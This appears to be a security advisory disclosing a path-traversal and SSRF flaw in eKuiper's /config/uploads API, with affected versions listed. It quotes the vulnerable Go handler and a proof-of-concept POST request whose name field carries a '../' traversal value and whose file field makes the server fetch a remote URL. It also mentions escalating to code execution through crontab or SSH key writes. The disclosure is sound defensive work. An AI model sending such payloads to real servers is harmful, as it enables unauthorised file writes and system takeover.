eKuiper /config/uploads API arbitrary file writing may lead to RCE — github.com/lf-edge/ekuiper/v2
Unrestricted Upload of File with Dangerous TypeSummary
eKuiper /config/uploads API supports accessing remote web URLs and saving files in the local upload directory, but there are no security restrictions, resulting in arbitrary file writing through ../. If run with root privileges, RCE can be achieved by writing crontab files or ssh keys.
Details
func fileUploadHandler(w http.ResponseWriter, r *http.Request) {
switch r.Method {
// Upload or overwrite a file
case http.MethodPost:
switch r.Header.Get("Content-Type") {
case "application/json":
fc := &fileContent{}
defer r.Body.Close()
err := json.NewDecoder(r.Body).Decode(fc)
if err != nil {
handleError(w, err, "Invalid body: Error decoding file json", logger)
return
}
err = fc.Validate()
if err != nil {
handleError(w, err, "Invalid body: missing necessary field", logger)
return
}
filePath := filepath.Join(uploadDir, fc.Name)
err = upload(fc)
- The fc.Name parameter do not safely filtered.
PoC
POST /config/uploads HTTP/1.1
Host: localhost:9081
Content-Type: application/json
Content-Length: 89
{
"name": "../../../../tmp/success",
"file": "http://192.168.65.254:8888/success"
}
Impact
Tested and verified only on 1.14.3 and 1.14.1, theoretically all versions using this code could be affected.
- SSRF
- Path-Travel
- May leads to RCE
The reporters is m0d9 from Tencent YunDing Lab.
| Software | Affected versions |
|---|---|
github.com/lf-edge/ekuiper/v2
|
< 2.2.0 |
|
github.com/lf-edge/ekuiper
|
<= 1.14.7 |
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